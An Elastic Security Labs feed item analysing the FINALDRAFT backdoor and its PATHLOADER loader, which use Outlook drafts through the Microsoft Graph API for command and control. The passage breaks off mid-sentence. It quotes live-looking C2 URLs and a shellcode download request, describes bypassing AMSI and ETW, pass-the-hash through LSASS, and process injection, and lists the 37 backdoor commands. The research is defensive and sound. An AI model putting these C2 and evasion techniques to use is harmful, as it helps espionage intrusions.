CINXE.COM
Elastic Security Labs
<?xml version="1.0" encoding="utf-8"?> <rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"> <channel> <title>Elastic Security Labs</title> <link>https://www.elastic.co/security-labs</link> <description>Trusted security news & research from the team at Elastic.</description> <lastBuildDate>Thu, 13 Feb 2025 12:55:49 GMT</lastBuildDate> <docs>https://validator.w3.org/feed/docs/rss2.html</docs> <generator>https://github.com/jpmonette/feed</generator> <image> <title>Elastic Security Labs</title> <url>https://www.elastic.co/security-labs/assets/security-labs-thumbnail.png</url> <link>https://www.elastic.co/security-labs</link> </image> <copyright>© 2025. Elasticsearch B.V. All Rights Reserved</copyright> <item> <title><![CDATA[You've Got Malware: FINALDRAFT Hides in Your Drafts]]></title> <link>https://www.elastic.co/security-labs/finaldraft</link> <guid>finaldraft</guid> <pubDate>Thu, 13 Feb 2025 00:00:00 GMT</pubDate> <description><![CDATA[During a recent investigation (REF7707), Elastic Security Labs discovered new malware targeting a foreign ministry. The malware includes a custom loader and backdoor with many features including using Microsoft’s Graph API for C2 communications.]]></description> <content:encoded><![CDATA[<h1>Summary</h1> <p>While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities.</p> <p>Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time.</p> <p>The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign.</p> <p>This report details the features and capabilities of these tools.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image47.png" alt="PATHLOADER & FINALDRAFT execution diagram" /></p> <p>For the campaign analysis of REF7707 - check out <a href="https://www.elastic.co/security-labs/fragile-web-ref7707">From South America to Southeast Asia: The Fragile Web of REF7707</a>.</p> <h1>Technical Analysis</h1> <h2>PATHLOADER</h2> <p>PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure.</p> <p>Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments.</p> <h3>Configuration</h3> <p>PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the <code>.data</code> section that includes C2 and other relevant settings.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image7.png" alt="Embedded configuration" /></p> <p>After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors.</p> <pre><code>https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|* </code></pre> <p><em>Configuration from PATHLOADER</em></p> <h3>API Hashing</h3> <p>In order to block static analysis efforts, PATHLOADER performs API hashing using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler–Noll–Vo hash</a> function. This can be observed based on the immediate value <code>0x1000193</code> found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image10.png" alt="Occurrences of value 0x1000193" /></p> <h3>String Obfuscation</h3> <p>PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image56.png" alt="String obfuscation example" /></p> <p>One string related to logging <code>WinHttpSendRequest</code> error codes used by the malware developer was left unencrypted.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image55.png" alt="Logging string left unencrypted" /></p> <h3>Execution/Behavior</h3> <p>Upon execution, PATHLOADER employs a combination of <code>GetTickCount64</code> and <code>Sleep</code> methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (<code>poster.checkponit[.]com</code>, <code>support.fortineat[.]com</code>) attempting to download the shellcode through <code>HTTPS</code> <code>GET</code> requests.</p> <pre><code>GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: poster.checkponit.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36 </code></pre> <p>The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path <code>“/nzoMeFYgvjyXK3P”</code> as the 128-bit key used in the call to the <code>CryptImportKey</code> API.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image53.png" alt="CryptImportKey parameters" /></p> <p>After the <code>CryptDecrypt</code> call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to <code>PAGE_EXECUTE_READ_WRITE</code> using the <code>NtProtectVirtualMemory</code> API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.</p> <h2>FINALDRAFT</h2> <p>FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server.</p> <h3>Entrypoint</h3> <p>FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this sample, it is called <code>UpdateTask</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image51.png" alt="PE export of FINALDRAFT" /></p> <h3>Initialization</h3> <p>The malware is initialized by loading its configuration and generating a session ID.</p> <h4>Configuration loading process</h4> <p>The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.</p> <pre><code class="language-c">for ( i = 0; i < 0x149A; ++i ) configuration[i] ^= decryption_key[i & 7]; </code></pre> <p><em>Decryption algorithm for configuration data</em></p> <p>The decryption key is derived either from the Windows product ID (<code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId</code>) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image8.png" alt="Decryption key and flag found after the encrypted config blob" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image41.png" alt="Choice between the decryption key or Windows product ID for derivation" /></p> <p>The decryption key derivation algorithm is performed as follows:</p> <pre><code class="language-c">uint64_t decryption_key = 0; do decryption_key = *data_source++ + 31 * decryption_key; while ( data_source != &data_source[data_source_length] ); </code></pre> <p><em>Decryption key derivation algorithm</em></p> <p>The configuration structure is described as follows:</p> <pre><code class="language-c">struct Configuration // sizeof=0x149a { char c2_hosts_or_refresh_token[5000]; char pastebin_url[200]; char guid[36]; uint8_t unknown_0[4]; uint16_t build_id; uint32_t sleep_value; uint8_t communication_method; uint8_t aes_encryption_key[16]; bool get_external_ip_address; uint8_t unknown_1[10] }; </code></pre> <p><em>Configuration structure</em></p> <p>The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.</p> <p>The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample.</p> <h4>Session ID derivation process</h4> <p>The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler-Noll-Vo</a> (FNV) hash function.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image43.png" alt="FINALDRAFT client ID generation" /></p> <h3>Communication protocol</h3> <p>During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the <code>COutlookTrans</code> class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in <a href="https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">SIESTAGRAPH</a>, a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.</p> <p>The Microsoft Graph API token is obtained by FINALDRAFT using the <a href="https://login.microsoftonline.com/common/oauth2/token">https://login.microsoftonline.com/common/oauth2/token</a> endpoint. The refresh token used for this endpoint is located in the configuration.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image36.png" alt="Building refresh token request" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image40.png" alt="Token refresh POST request" /></p> <p>Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges:</p> <ul> <li><code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration></code></li> <li><code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration></code></li> </ul> <p>This token is reused across requests, if it is still valid.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image3.png" alt="Storing refresh token in the registry" /></p> <p>The communication loop is described as follows:</p> <ul> <li>Create a session email draft if it doesn’t already exist.</li> <li>Read and delete command request email drafts created by the C2.</li> <li>Process commands</li> <li>Write command response emails as drafts for each processed command.</li> </ul> <p>A check is performed to determine whether a session email, in the form of a command response email identified by the subject <code>p_<session-id></code>, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image19.png" alt="Check for session email and create one if it doesn't exist" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image46.png" alt="Session email: GET and POST requests" /></p> <p>The session data is described in the structure below.</p> <pre><code class="language-c">struct Session { char random_bytes[30]; uint32_t total_size; char field_22; uint64_t session_id; uint64_t build_number; char field_33; }; </code></pre> <p><em>Session data structure</em></p> <p>The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects <code>r_<session-id></code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image39.png" alt="Checking for commands email" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image49.png" alt="Command polling GET request" /></p> <p>After reading the request, emails are then deleted.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image15.png" alt="Deleting command email after reading" /></p> <p>Commands are then processed, and responses are written into new draft emails, each with the same <code>p_<session-id></code> subject for each command response.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image13.png" alt="Command response POST request" /></p> <p>Content for message requests and responses are <strong>Zlib</strong> compressed, <strong>AES CBC</strong> encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob.</p> <p><code>Base64(AESEncrypt(ZlibCompress(data)))</code></p> <p>Request messages sent from the C2 to the implant follow this structure.</p> <pre><code class="language-c">struct C2Message{ struct { uint8_t random_bytes[0x1E]; uint32_t message_size; uint64_t session_id; } header; // Size: 0x2A (42 bytes) struct { uint32_t command_size; uint32_t next_command_struct_offset; uint8_t command_id; uint8_t unknown[8]; uint8_t command_args[]; } commands[]; }; </code></pre> <p><em>Request message structure</em></p> <p>Response messages sent from the implant to C2 follow this structure.</p> <pre><code class="language-c">struct ImplantMessage { struct Header { uint8_t random_bytes[0x1E]; uint32_t total_size; uint8_t flag; // Set to 1 uint64_t session_id; uint16_t build_id; uint8_t pad[6]; } header; struct Message { uint32_t actual_data_size_add_0xf; uint8_t command_id; uint8_t unknown[8]; uint8_t flag_success; char newline[0x2]; uint8_t actual_data[]; } }; </code></pre> <p><em>Response message structure</em></p> <p>Here is an example of data stolen by the implant.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image52.png" alt="Response message example" /></p> <h3>Commands</h3> <p>FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image23.png" alt="FINALDRAFT command handler setup" /></p> <p>Below is a table of the commands and their IDs:</p> <table> <thead> <tr> <th align="left">ID</th> <th align="left">Name</th> </tr> </thead> <tbody> <tr> <td align="left">0</td> <td align="left">GatherComputerInformation</td> </tr> <tr> <td align="left">2</td> <td align="left">StartTcpServerProxyToC2</td> </tr> <tr> <td align="left">3</td> <td align="left">StopTcpServerProxyToC2</td> </tr> <tr> <td align="left">4</td> <td align="left">ConnectToTcpTargetStartProxyToC2</td> </tr> <tr> <td align="left">5</td> <td align="left">SetSleepValue</td> </tr> <tr> <td align="left">6</td> <td align="left">DeleteNetworkProjectorFwRuleAndStopTCPServer</td> </tr> <tr> <td align="left">8</td> <td align="left">ConnectToTcpTarget</td> </tr> <tr> <td align="left">9</td> <td align="left">SendDataToUdpOrTcpTarget</td> </tr> <tr> <td align="left">10</td> <td align="left">CloseTcpConnection</td> </tr> <tr> <td align="left">11</td> <td align="left">DoProcessInjectionSendOutputEx</td> </tr> <tr> <td align="left">12</td> <td align="left">ListFiles</td> </tr> <tr> <td align="left">13</td> <td align="left">ListAvailableDrives</td> </tr> <tr> <td align="left">14</td> <td align="left">CreateDirectory</td> </tr> <tr> <td align="left">15</td> <td align="left">DeleteFileOrDirectory</td> </tr> <tr> <td align="left">16</td> <td align="left">DownloadFile</td> </tr> <tr> <td align="left">17</td> <td align="left">UploadFile0</td> </tr> <tr> <td align="left">18</td> <td align="left">DummyFunction</td> </tr> <tr> <td align="left">19</td> <td align="left">SetCurrentDirectory</td> </tr> <tr> <td align="left">20</td> <td align="left">GetCurrentDirectory</td> </tr> <tr> <td align="left">21</td> <td align="left">ListRunningProcesses</td> </tr> <tr> <td align="left">24</td> <td align="left">DoProcessInjectionNoOutput</td> </tr> <tr> <td align="left">25</td> <td align="left">DoProcessInjectionNoOutput (Same as 24)</td> </tr> <tr> <td align="left">26</td> <td align="left">DoProcessInjectionSendOutput1</td> </tr> <tr> <td align="left">28</td> <td align="left">DisconnectFromNamedPipe</td> </tr> <tr> <td align="left">30</td> <td align="left">ConnectToNamedPipeAndProxyMessageToC2</td> </tr> <tr> <td align="left">31</td> <td align="left">GetCurrentProcessTokenInformation</td> </tr> <tr> <td align="left">32</td> <td align="left">EnumerateActiveSessions</td> </tr> <tr> <td align="left">33</td> <td align="left">ListActiveTcpUdpConnections</td> </tr> <tr> <td align="left">35</td> <td align="left">MoveFile1</td> </tr> <tr> <td align="left">36</td> <td align="left">GetOrSetFileTime</td> </tr> <tr> <td align="left">39</td> <td align="left">UploadFile1</td> </tr> <tr> <td align="left">41</td> <td align="left">MoveFile0</td> </tr> <tr> <td align="left">42</td> <td align="left">CopyFileOrCopyDirectory</td> </tr> <tr> <td align="left">43</td> <td align="left">TerminateProcess</td> </tr> <tr> <td align="left">44</td> <td align="left">CreateProcess</td> </tr> </tbody> </table> <p><em>FINALDRAFT command handler table</em></p> <h3>Gather computer information</h3> <p>Upon execution of the <code>GatherComputerInformation</code> command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes.</p> <p>This structure is described as follows:</p> <pre><code class="language-c">struct ComputerInformation { char field_0; uint64_t session_id; char field_9[9]; char username[50]; char computer_name[50]; char field_76[16]; char external_ip_address[20]; char internal_ip_address[20]; uint32_t sleep_value; char field_B2; uint32_t os_major_version; uint32_t os_minor_version; bool product_type; uint32_t os_build_number; uint16_t os_service_pack_major; char field_C2[85]; char field_117; char current_module_name[50]; uint32_t current_process_id; }; </code></pre> <p><em>Collected information structure</em></p> <p>The external IP address is collected when enabled in the configuration.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image37.png" alt="Retrieve external IP if flag is set" /></p> <p>This address is obtained by FINALDRAFT using the following list of public services.</p> <table> <thead> <tr> <th align="left">Public service</th> </tr> </thead> <tbody> <tr> <td align="left"><code>hxxps://ip-api.io/json</code></td> </tr> <tr> <td align="left"><code>hxxps://ipinfo.io/json</code></td> </tr> <tr> <td align="left"><code>hxxps://myexternalip.com/raw</code></td> </tr> <tr> <td align="left"><code>hxxps://ipapi.co/json/</code></td> </tr> <tr> <td align="left"><code>hxxps://jsonip.com/</code></td> </tr> </tbody> </table> <p><em>IP lookup service list</em></p> <h3>Process injection</h3> <p>FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into.</p> <p>In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to <code>mspaint.exe</code> or <code>conhost.exe</code> as a fallback.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image50.png" alt="mspaint.exe process injection target" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image33.png" alt="conhost.exe process injection target" /></p> <p>Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image44.png" alt="Create hidden process with piped STD handles" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image24.png" alt="Read process' piped stdout" /></p> <p>Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.).</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image58.png" alt="Wait for injected process to create its named pipe" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image29.png" alt="Read from named pipe and send to C2" /></p> <p>The process injection procedure is basic and based on <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, and <code>RtlCreateUserThread</code> API.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image48.png" alt="Process injection method" /></p> <h3>Forwarding data from TCP, UDP, and named pipes</h3> <p>FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.</p> <p>Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel.</p> <p>Below is an example screenshot of the <code>recvfrom</code> call from the UDP listener.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image16.png" alt="Received data from UDP client" /></p> <p>Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses <strong>COM</strong> and the <a href="https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwpolicy2">INetFwPolicy2</a> and the <a href="https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwrule">INetFwRule</a> interfaces.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image34.png" alt="FINALDRAFT adds firewall rule to allow TCP server" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image30.png" alt="Instantiating the NetFwPolicy2 COM interface" /></p> <p>FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, <code>“\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12”</code> and expects the server to echo the same magic value back before beginning to forward the received data.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image27.png" alt="Send and receive magic data to/from TCP target" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image18.png" alt="Magic data blob" /></p> <p>For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image31.png" alt="Forward data from named pipe" /></p> <h3>File manipulation</h3> <p>For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image54.png" alt="Zero out file before deletion" /></p> <p>FINALDRAFT defaults to <code>CopyFileW</code> for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level.</p> <p>It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses <code>GetDiskFreeSpaceW</code> to retrieve information about the number of sectors per cluster and bytes per sector. <code>DeviceIoControl</code> is then called with <code>FSCTL_GET_RETRIEVAL_POINTERS</code> to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image14.png" alt="Retrieving file data extents" /></p> <p>For each extent, it uses <code>SetFilePointer</code> to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image57.png" alt="Read/write file between clusters" /></p> <p>If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the <code>$DATA</code> attribute (type identifier = 128). Data is then extracted from this attribute and written to the destination file using <code>WriteFile</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image17.png" alt="Copy resident files using MFT records" /></p> <h3>Injected Modules</h3> <p>Our team observed several additional modules loaded through the <code>DoProcessInjectionSendOutputEx</code> command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known <a href="https://github.com/monoxgas/sRDI/blob/master/ShellcodeRDI/ShellcodeRDI.c">sRDI</a> project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint.</p> <h4>Network enumeration (<code>ipconfig.x64.dll</code>)</h4> <p>This module creates a named pipe (<code>\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1</code>) waiting for FINALDRAFT to connect to it. Perhaps to prevent analysis/sandboxing, the threat actor used a password (<code>Aslire597</code>) as an argument, if the password is incorrect, the module will not run.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image12.png" alt="String comparison with command-line password" /></p> <p>As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (<code>GetAdaptersAddresses</code>, <code>GetAdaptersInfo</code>, <code>GetNetworkParams</code>) and reading the Windows registry keypath (<code>SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces</code>). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image38.png" alt="Retrieving network adapter information" /></p> <h4>PowerShell execution (<code>Psloader.x64.dll</code>)</h4> <p>This module allows the operator to execute PowerShell commands without invoking the <code>powershell.exe</code> binary. The code used is taken from <a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs">PowerPick</a>, a well-known open source offensive security tool.</p> <p>To evade detection, the module first hooks the <code>EtwEventWrite</code>, <code>ReportEventW</code>, and <code>AmsiScanBuffer</code> APIs, forcing them to always return <code>0</code>, which disables ETW logging and bypasses anti-malware scans.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image20.png" alt="Patching AMSI and ETW APis" /></p> <p>Next, the DLL loads a .NET payload (<a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs">PowerPick</a>) stored in its <code>.data</code> section using the <a href="https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces">CLR Hosting technique</a>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image25.png" alt="Managed code of PowerPick loaded using CLR hosting technique" /></p> <p>The module creates a named pipe (<code>\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2</code>) which is used for command forwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write data to the pipe. Finally, the managed <strong>PowerPick</strong> binary is loaded and executed by the module.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image26.png" alt="Managed binary of PowerPick loaded by the module" /></p> <h4>Pass-the-Hash toolkit (<code>pnt.x64.dll</code>)</h4> <p>This module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH implementation is largely inspired by the one used by <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a>, enabling lateral movement.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image45.png" alt="Decrypted strings from memory for PTH module" /></p> <p>A password (<code>Aslire597</code>), domain, and username with the NTLM hash, along with the file path of the program to be elevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an example of the command line.</p> <p><code>program.exe <password> <domain>\<account>:<ntlm_hash> <target_process></code></p> <p>Like the other module, it creates a named pipe, ”<code>\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9</code>”, and awaits incoming connections from FINALDRAFT. This named pipe serves as a logging channel.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image21.png" alt="named pipe creation for pnt.x64.dll" /></p> <p>After establishing the pipe connection, the malware creates a target process in a suspended state using <code>CreateProcessWithLogonW</code>, identifies key structures like the <code>LogonSessionList</code> and <code>LogonSessionListCount</code> within the Local Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided argument.</p> <p>Once the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM hash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in the blog post "<a href="https://www.praetorian.com/blog/inside-mimikatz-part2/">Inside the Mimikatz Pass-the-Hash Command (Part 2)</a>" by Praetorian. The result is then sent to the named pipe.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image22.png" alt="Named pipe output and created process" /></p> <h2>FINALDRAFT ELF variant</h2> <p>During this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols than the PE version, but has fewer features, suggesting it might be under development.</p> <h3>Additional transport channels</h3> <p>The ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels:</p> <table> <thead> <tr> <th align="left">C2 communication protocols</th> </tr> </thead> <tbody> <tr> <td align="left">HTTP/HTTPS</td> </tr> <tr> <td align="left">Reverse UDP</td> </tr> <tr> <td align="left">ICMP</td> </tr> <tr> <td align="left">Bind TCP</td> </tr> <tr> <td align="left">Reverse TCP</td> </tr> <tr> <td align="left">DNS</td> </tr> <tr> <td align="left">Outlook via REST API (could be communicating with an API proxy)</td> </tr> <tr> <td align="left">Outlook via Graph API</td> </tr> </tbody> </table> <p><em>FINALDRAFT ELF variant C2 communication options</em></p> <p>From the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API channels.</p> <p>While the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the implant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh tokens requested are written to a file on disk, either <code>/var/log/installlog.log.<UUID_from_config></code> or <code>/mnt/hgfsdisk.log.<UUID_from_config></code> if it fails to write to the prior file.</p> <p>Below is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a Microsoft refresh token, the port number <code>0x1bb</code> (<code>443</code>) at offset <code>0xc8</code>, and flag for using HTTPS at offset <code>0xfc</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image2.png" alt="FINALDRAFT ELF variant configuration snippet" /></p> <p>The domains are intentionally designed to typosquat well-known vendors, such as "VMSphere" (VMware vSphere). However, it's unclear which vendor "Hobiter" is attempting to impersonate in this instance.</p> <table> <thead> <tr> <th align="left">C2</th> </tr> </thead> <tbody> <tr> <td align="left">support.vmphere.com</td> </tr> <tr> <td align="left">update.hobiter.com</td> </tr> </tbody> </table> <p><em>Domain list</em></p> <h3>Commands</h3> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image32.png" alt="Command handlers" /></p> <p>All of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated to collecting information about the victim's machine. Together, these commands gather the following details:</p> <ul> <li>Hostname</li> <li>Current logged-in user</li> <li>Intranet IP address</li> <li>External IP address</li> <li>Gateway IP address</li> <li>System boot time</li> <li>Operating system name and version</li> <li>Kernel version</li> <li>System architecture</li> <li>Machine GUID</li> <li>List of active network connections</li> <li>List of running processes</li> <li>Name of current process</li> </ul> <h4>Command Execution</h4> <p>While there are no process injection capabilities, the implant can execute shell commands directly. It utilizes <code>popen</code> for command execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image28.png" alt="Executing shell command" /></p> <h4>Self Deletion</h4> <p>To dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed to <code>sys_readlink</code>. <code>sys_unlink</code> is then called to remove the executable file from the filesystem.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image11.png" alt="Self deletion using sys_unlink" /></p> <h2>Older FINALDRAFT PE sample</h2> <p>During our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands but includes an additional transport protocol alongside the MS Graph API/Outlook transport channel.</p> <p>The name of the binary is <code>Session.x64.dll</code>, and its entrypoint export is called <code>GoogleProxy</code>:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image5.png" alt="PE export of FINALDRAFT" /></p> <h3>HTTP transport channel</h3> <p>This older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image59.png" alt="Choice between Outlook and HTTP transport channels" /></p> <p>In this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same domains were used by PATHLOADER, the domain (<code>checkponit[.]com</code>) was registered on 2022-08-26T09:43:16Z and domain (<code>fortineat[.]com</code>) was registred on 